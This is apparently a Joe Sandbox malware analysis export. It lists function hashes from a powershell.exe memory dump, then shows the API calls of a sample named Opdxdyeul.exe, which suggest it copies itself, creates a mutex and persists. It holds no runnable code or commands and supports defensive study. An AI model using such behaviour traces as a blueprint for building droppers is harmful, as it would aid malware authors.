Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c9c8f6497ff859bb9b69733aef55ab2541044129fcd7614f407f23254615c7
Instruction ID: 6b46008af5513370c5a9077e4818a264d2648e3b57986aba3b8aee61af8b5180
Opcode Fuzzy Hash: 14c9c8f6497ff859bb9b69733aef55ab2541044129fcd7614f407f23254615c7
Instruction Fuzzy Hash: 2EF0E931305A55ABC7115B6DE82049F7BBADEC667531000ABE589C7600DF6489158BE2

Function 02AA90B8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dce494def8ec308cba229f14b579c667bfaba8f34e8b5f0f800b3f5624d6bfe
Instruction ID: 0d89b5d86dcb7c473c4b3f432be036e7582da030537b95248e77f42960a37e44
Opcode Fuzzy Hash: 8dce494def8ec308cba229f14b579c667bfaba8f34e8b5f0f800b3f5624d6bfe
Instruction Fuzzy Hash: 8DF0F4716042049FD3119B28C4283EABB62EFC1318F70C05AC48A5B381CF352805CB91

Function 02AACB32 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92701910767340ff890180c3846706d827b5f62270d0312447cae2327c433d0
Instruction ID: 9e193023e820acd2ba631351ae92b3ff73d8c83ba91cd4dd856fffe2b8483a7f
Opcode Fuzzy Hash: e92701910767340ff890180c3846706d827b5f62270d0312447cae2327c433d0
Instruction Fuzzy Hash: BFF0BB311053805FC355A73D985185DBFA6DEC717036985BFC145C7A51CF345C058762

Function 029CD9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2313875018.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8158dfc9a421c0714fe2bc401ebeb2045f3095ce4cc089aafba42fb74c77c5b
Instruction ID: 4b6c62ab41cc840a111f903aab692c349ad43819209b17b572a963c111340fd0
Opcode Fuzzy Hash: f8158dfc9a421c0714fe2bc401ebeb2045f3095ce4cc089aafba42fb74c77c5b
Instruction Fuzzy Hash: AAF0F9B6200604AF97248F0AD985C23FBADEBD4670729C56EE94A4BA15C771FC41CEB1

Function 02AA9138 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0daadc9f6e9c2ddc49f2c50f2f4461e845e4818e37c8b75bc8dcd6edf2f4c61
Instruction ID: 0a355f084aff5e870d0d14c035acb412edb9b2d9e4b475286375e52e0dc08176
Opcode Fuzzy Hash: c0daadc9f6e9c2ddc49f2c50f2f4461e845e4818e37c8b75bc8dcd6edf2f4c61
Instruction Fuzzy Hash: 09F05E719053009FD3A09B79D8A93DABBF5FF45320F10886AE18DD7241DB396885CBA0

Function 02AADE18 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d219a03d9fb97d97d63f9c35d0f3f7353b67c312c24dda0bcdb0627041a3d2c4
Instruction ID: 513f2a977b273c35b648c75a488c0c3ff58d27af550811366c5c2373a6df4f5a
Opcode Fuzzy Hash: d219a03d9fb97d97d63f9c35d0f3f7353b67c312c24dda0bcdb0627041a3d2c4
Instruction Fuzzy Hash: 55F058343046409FC3108B2DD4A8C66BBFAEFCA61432910DAE589CBB32DB61DC11CB91

Function 029CD998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2313875018.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff86d1d35a8ba5e0636fc39976451f6296d399b186d9db562db99ff8ef5362ba
Instruction ID: 7583e47f3f83cd32f3cffe2c8ae5759b583356360bf230c5311813ae687a5184
Opcode Fuzzy Hash: ff86d1d35a8ba5e0636fc39976451f6296d399b186d9db562db99ff8ef5362ba
Instruction Fuzzy Hash: 9AF049BA100A40AFD325CF06C985D23BBB9EB85660B29849DA84A4B712C770FC02CF60

Function 02AA7948 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0aff5393ca3b3d9bd4be9dd4ad66c31fe842d698046acc709800bf031ae1d34
Instruction ID: b2d0aa11f8aed51b44856808fce362421b0a3ef370c5f18165df9a5db1e0f338
Opcode Fuzzy Hash: e0aff5393ca3b3d9bd4be9dd4ad66c31fe842d698046acc709800bf031ae1d34
Instruction Fuzzy Hash: A3F0A7327006149FDB149769E844A6FBBEAEBC8671B20052DE10DC3640DF72AC4187A5

Function 02AA8949 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f24b0b959434ff24d74dcfd5abd0fb39ab99779ca8e29fe322b6ae98105e4f4
Instruction ID: 770fa68aaac258487948629bdbac0f0e7a4c44d4f717f33ce37db3d052861bbb
Opcode Fuzzy Hash: 1f24b0b959434ff24d74dcfd5abd0fb39ab99779ca8e29fe322b6ae98105e4f4
Instruction Fuzzy Hash: 64F0E2353096519BC70A2734A8282ED7B62AF86334F04016BD50587241CF291D1987E5

Function 02AAC4B0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c92b92f8b22a39902778e9aa833123adcbc48d6d3e6952d2be5bca0b97e41d
Instruction ID: 317cd4f2b4636e697e3ff0181cda113a0fdb0049b60e2d9d556ba9620d6e0d28
Opcode Fuzzy Hash: a2c92b92f8b22a39902778e9aa833123adcbc48d6d3e6952d2be5bca0b97e41d
Instruction Fuzzy Hash: 0BF08272200604ABC304EA29E85095BFB96EFC56247108A7DD20D8B714DE72AC058BE5

Function 02AA90C8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74fa465fb3f0750d95ce4e65b72593e422a3067399d9674c39de7e9021e2b38f
Instruction ID: 7d9bd808a0135003af1a100d997d17a5a5a07bbed7a1460f143d95882563cf34
Opcode Fuzzy Hash: 74fa465fb3f0750d95ce4e65b72593e422a3067399d9674c39de7e9021e2b38f
Instruction Fuzzy Hash: F8F027B57045085BE310AB64C0283EBB7A7DBC0314F30C16EC90A57384CE3A2C01CBD1

Function 02AA7677 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3bc681a131e19644437333aab00f8f1314bbf66b60b45086581bfc3a6c37444
Instruction ID: de0c5aefb42a8e252938b7df3c4d36aad4687a04a2d5707362283cb4e7178681
Opcode Fuzzy Hash: f3bc681a131e19644437333aab00f8f1314bbf66b60b45086581bfc3a6c37444
Instruction Fuzzy Hash: 8EF08C357001048FCB10CBADD890A9ABBA2EFC925A7154198E609CB351DF24CC018B91

Function 02AADE28 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30da9bb9efc142844fb136b802bb0756180d49809dd54b2db996aacfe7b8158c
Instruction ID: 3ccaf24c87564dbad402bf154aea130953c33a4168b0bb48cf529816f357b870
Opcode Fuzzy Hash: 30da9bb9efc142844fb136b802bb0756180d49809dd54b2db996aacfe7b8158c
Instruction Fuzzy Hash: B5E01A353005149F83109B2DD498C66F7FAEFCEB6571900AAE589CB721DF61EC01DB90

Function 02AA2BF6 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515f145757213d4d85a3526416900c190aa666a231c6b7733bf89a3fc0ec6d0a
Instruction ID: 51953af9985ed036081c3a8ca043c2c0a9c5323dd0ad91280deab295daf58316
Opcode Fuzzy Hash: 515f145757213d4d85a3526416900c190aa666a231c6b7733bf89a3fc0ec6d0a
Instruction Fuzzy Hash: C5F0DA35A00105DFCB15CF9DD990AEEF7B1FF88324F208159E515A72A1C736AC62CB50

Function 02AAAF68 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0804af512b636d43816efa304db427ebc32b172c504144f4026db2195e7cb8e
Instruction ID: c36ea7bfd7181c0d8f14004d488bf5e55bf941ce7a879e4800b3caeed494b99e
Opcode Fuzzy Hash: c0804af512b636d43816efa304db427ebc32b172c504144f4026db2195e7cb8e
Instruction Fuzzy Hash: E0E092323083925BCB16822E9860465BFB79FC762431980BBE584CB246EF214812C760

Function 02AACB48 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ffd2787a455965beb02f826dd3efa17ff8a608f0a39189872c752f2923441c4
Instruction ID: b320fad607a9bba956a395f8013f851dabff55fdce9155e5b77be3f4c309a1f2
Opcode Fuzzy Hash: 0ffd2787a455965beb02f826dd3efa17ff8a608f0a39189872c752f2923441c4
Instruction Fuzzy Hash: 73E048722016005B8658F66EAC41C6EBA8BDEC6670364893DD10E97700DE756D0547A6

Function 02AA9148 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eacd3c723e34d0a290c4828296381f084208567e3810406d7559f8da9239b225
Instruction ID: 06e632972a51c898f3937e24cfac35dc73fca6d1cdab61866efcaccb5ba29e65
Opcode Fuzzy Hash: eacd3c723e34d0a290c4828296381f084208567e3810406d7559f8da9239b225
Instruction Fuzzy Hash: 0DF0ED709013049BD7A49BB9D89D79A7BE5FB44360F104469E55ED7340DB3968848B90

Function 02AA9529 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af1b9732da8583de434bc4f05c3e543f51adadbcdeca30b5707756f53c092006
Instruction ID: 7d5b6e1bcce3d7fc521d942bf1c094cc05311a28f67bbf7fc014560551c8bed3
Opcode Fuzzy Hash: af1b9732da8583de434bc4f05c3e543f51adadbcdeca30b5707756f53c092006
Instruction Fuzzy Hash: B0E0C2623401172B4A6461BA09702BBF6CF9FC9690B0501369A19C3301FF06CC054BE1

Function 02AA8958 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0f7436c1b3dc39ca5865f29fae0bf47b7d942cdd17e5836c5dee0176e4a9cb
Instruction ID: 069f6db80552954a266fb17de8727622c85ab6a4eb934d7ca335e274fbac10bb
Opcode Fuzzy Hash: 1e0f7436c1b3dc39ca5865f29fae0bf47b7d942cdd17e5836c5dee0176e4a9cb
Instruction Fuzzy Hash: D1E02631704611A7CB093774A91C2EE7A57FBC4731F00002AD60A83340CF7D281187E9

Function 02AA9530 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71792f48c96078015ae4aef3787673b85463d0fa4659e35b47f819900ee59660
Instruction ID: 17a691e7d50b2588aee568527d1f44ed8d4d0105312d6e9b3b273edbc8e4338f
Opcode Fuzzy Hash: 71792f48c96078015ae4aef3787673b85463d0fa4659e35b47f819900ee59660
Instruction Fuzzy Hash: 66D05E5234056B1B4A6461BE19706BBF2CF8EC9AA0B05013A9B19C3341EF46CC0547E1

Function 02AADCC8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 7b63c04a8292ae8851f926a93adc694f63991a2eb7ea36d93302b9e1b86aff65
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 8EE08635B00114978B089559D8104D9F7BADFCD220F04847FD94AA7740DF325915C7E1

Function 02AADC78 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee6c68c7f46bba6cdca747fe841b27b066b54f469624f5ae20f275ec6c6e484a
Instruction ID: 8bfd93dfeff985cfe11f0c19f5431b7ea5263da4f0e2df854cb6447895ec1500
Opcode Fuzzy Hash: ee6c68c7f46bba6cdca747fe841b27b066b54f469624f5ae20f275ec6c6e484a
Instruction Fuzzy Hash: 5AE0C232700A10578215AA2EB81085F7BDBDFC4671350842EE059C7700DFA8DC0187DA

Function 02AAF3A0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95e344c8ab203e63b793fbce957e204e1fc40534af969cba97118a8cb44a151
Instruction ID: 38a3c997f323ae96c96beebc717514c524defbde6036c9842aa5b721ed1d696d
Opcode Fuzzy Hash: e95e344c8ab203e63b793fbce957e204e1fc40534af969cba97118a8cb44a151
Instruction Fuzzy Hash: CAE0ED71D042469FCB41DFB8C45119AFFF0EF0A214B1485EEC999DB211EB315651CB92

Function 02AA87E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5e739e19fd7fe1143d141a614bf4d776da8b0e62138ae1bb10a51de92d32ed
Instruction ID: 99f9a30e1464c3ba0e714ab5b3f0c9f327f3d84138450391519ea71aa7515c37
Opcode Fuzzy Hash: 7e5e739e19fd7fe1143d141a614bf4d776da8b0e62138ae1bb10a51de92d32ed
Instruction Fuzzy Hash: C4E01A34A1834A9BC754AF68E4565A9BBB0FF45314B108069DD4593740DF356C64CBC1

Function 02AA8719 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac1eed860cbf91aab6d8f8198bf116c7a50f30d51237b7ee19072248bab6b7ea
Instruction ID: 2b9b00df7802a92b428c6c55d3687e482f8d3830b863d189765838f587f32efc
Opcode Fuzzy Hash: ac1eed860cbf91aab6d8f8198bf116c7a50f30d51237b7ee19072248bab6b7ea
Instruction Fuzzy Hash: D1E0123080520ADFCB09AFA4E51A4EDBF34FF04311B404169D98252280DF342A56CF81

Function 02AAC560 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0fd9a86b272e45d2fa8fd8f5c5bb6d41c874a604676208fcf2a9123ea963a2f
Instruction ID: 5b9865fdabba0171fb044da5a24f584b04fa9d267685dc9c701f2a144863b2a6
Opcode Fuzzy Hash: d0fd9a86b272e45d2fa8fd8f5c5bb6d41c874a604676208fcf2a9123ea963a2f
Instruction Fuzzy Hash: 85E086717081516BC305676CA915419BBE5EBC966131400BBE509C3381DA29EC1487D6

Function 02AAC570 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a27e9f4ac62b4c74500cc574dd6f3b4f0049ab744f05ab28929af630ac810d
Instruction ID: 53e42a4d7e312420145e2bf03a5738f58c70815bb0fc23a97aee540c03e84668
Opcode Fuzzy Hash: 60a27e9f4ac62b4c74500cc574dd6f3b4f0049ab744f05ab28929af630ac810d
Instruction Fuzzy Hash: 2ED0A7323000206B8304736DB505559F7DAE7C96B1300007BE60DC3380CE25DC0187D5

Function 02AAF3B0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 46267822c5be75c6515e7c8b70c033c10a3131104064f0eab09231b14987c67a
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: AAD067B4D042099F8784EFADD94156EFBF4EF48200F6085BA8919E7301EB329A12CBD1

Function 02AA87F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e3dfacc20c12678dec748a93932ad5a7a89fa8ded411780448e2d8d669bd4cd
Instruction ID: 8ceaf75272b1a88db9757e28a0b0993e82ef403aeddb62e32a4abbfd0adba096
Opcode Fuzzy Hash: 6e3dfacc20c12678dec748a93932ad5a7a89fa8ded411780448e2d8d669bd4cd
Instruction Fuzzy Hash: DDD01734E0420A9FC748EFA8E9568AEBBB5EB48301F008169DD0993340EE346811CBC0

Function 02AA8728 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957a8d0f81d74a1a5cf3aa43ea693caacb478a9bc9c0d5c0c1db315dd3c2ed8e
Instruction ID: 0aabc2c7cd182103d2440189765d025ad8aa2a5ce1edc2f51c4f086a49932914
Opcode Fuzzy Hash: 957a8d0f81d74a1a5cf3aa43ea693caacb478a9bc9c0d5c0c1db315dd3c2ed8e
Instruction Fuzzy Hash: 10D06731805109DBCB0CABA4E95B4FEBB74FB14311F404169D90753290EF353A5ACAC1

Function 02AA7912 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4456ed9400a8978aced1d306b241a2a1c4b8cba69d3bfac95a4835a10cb7158a
Instruction ID: 7af9c8db8d4b32128b27ae45801d08011c810ac30452590afdae7f40c68ed86b
Opcode Fuzzy Hash: 4456ed9400a8978aced1d306b241a2a1c4b8cba69d3bfac95a4835a10cb7158a
Instruction Fuzzy Hash: C6D05E300493848FC34A8B30D8254243B78EF0220535104DED0064B1F3CE716884CB11

Function 02AA7E80 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edb116e630c8f627918a9a41f92afea642da40deafe7ac294d05ee988d03096
Instruction ID: ff1c4d59acd4bc9ee63b0cfae324d8ca3e444ae64d2627f8e80ac11e11a8158d
Opcode Fuzzy Hash: 6edb116e630c8f627918a9a41f92afea642da40deafe7ac294d05ee988d03096
Instruction Fuzzy Hash: 67C0123054A3804FEF06CB2488A24203F709E4760030645C2C903CB0B2C9349802E611

Function 02AA7920 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99b6d597bceff533935fbf7ffa94f5922c36b5fadce93ea8ac832f5531ec5ed5
Instruction ID: f7127cf1757f26259f03703a3775f225cd52bd4dc6db685f140ba7c1cb4a8851
Opcode Fuzzy Hash: 99b6d597bceff533935fbf7ffa94f5922c36b5fadce93ea8ac832f5531ec5ed5
Instruction Fuzzy Hash: 3CB092301857488FC6486F75A808818736DAB406153A004ACE80E0A2A2CE76E9C4CA44

Function 02AA7370 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2314958695.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ed3b2fa9d4b064158473cced485a863ce5a9b1986858b8494d15cfb33b2b500
Instruction ID: 50996f27b8e8b6ddbc85be10df5ff3b56412c935a32079c71d6623165dfb1b1f
Opcode Fuzzy Hash: 2ed3b2fa9d4b064158473cced485a863ce5a9b1986858b8494d15cfb33b2b500
Instruction Fuzzy Hash: CAA00237A6416357BF5CEF754A6A53FA7335BC1601744C47A5103C5044CE394441D914

Analysis Process: Opdxdyeul.exePID: 5280, Parent PID: 6488COMMON

Execution Graph

Execution Coverage:	26.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.8%
Total number of Nodes:	239
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 16.8, APIs: 11, Instructions: 321
filesleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,004014F2,00401600,00000000,00000000), ref: 00401047
SetUnhandledExceptionFilter.KERNEL32(00402F2E,00405000,00000BF4,00000000,00405BFC,?,00000100), ref: 00401051
GetModuleFileNameW.KERNEL32(00000000,?,00000200), ref: 0040106E

Part of subcall function 00401A4F: CoInitialize.OLE32(00000000,004058CD,004058C3,00000000), ref: 00401A79
Part of subcall function 00401A4F: CoUninitialize.COMBASE(00000000,004058EB,004058C3), ref: 00401B57

EnumWindows.USER32(00401651,00000000), ref: 004010C7
GetEnvironmentVariableW.KERNEL32(00405695,?,00000200,00405695,00000020,00000000,004056B5,00000018,004056CD,00000014,004056B5,00000018,00000000,?,00000200), ref: 004010EB
CreateDirectoryW.KERNEL32(?,00000000,00000018,00000004,?,?,00405695,00000020,00000000,00405695,?,00000200,00405695,00000020,00000000,004056B5), ref: 00401151
CopyFileW.KERNEL32(?,00000000,00000000,00000018,00000004,?,00000000,00000018,00000004,?,?,00405695,00000020,00000000,00405695,?), ref: 004011A9
CopyFileW.KERNEL32(?,00000000,00000000,00000000,?,00405695,00000020,00000000,00405695,?,00000200,00405695,00000020,00000000,004056B5,00000018), ref: 0040122A
Sleep.KERNELBASE(00000000,00405B09,00405AA6,0000EA60,004056B5,00000018,00000000,?,00000000,00000000,00000018,00000004,?,00000000,00000018,00000004), ref: 00401267
CreateMutexW.KERNEL32(00000000,00000001,?,004056B5,00000018,?), ref: 004012A8
ExitProcess.KERNEL32(00000000), ref: 004030F5

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: CreateFile$Copy$DirectoryEnumEnvironmentExceptionExitFilterInitializeModuleMutexNameProcessSleepThreadUnhandledUninitializeVariableWindows
String ID:
API String ID: 4206696483-0
Opcode ID: b30011c22ec3cfe498ca7d072f12c4f04d8c697ed222aaa4ed39cda0de06b6ce
Instruction ID: 332042ea73b5201f89b56e72c5e2d594e11330fbb80c21454bf144a0788b4a4f
Opcode Fuzzy Hash: b30011c22ec3cfe498ca7d072f12c4f04d8c697ed222aaa4ed39cda0de06b6ce
Instruction Fuzzy Hash: 14B18374B816147DEF2077A18D4BF9E75699F45B08F1040B77608B90E2DAFC5A804E6E

Function 00402D09 Relevance: 1.6, APIs: 1, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

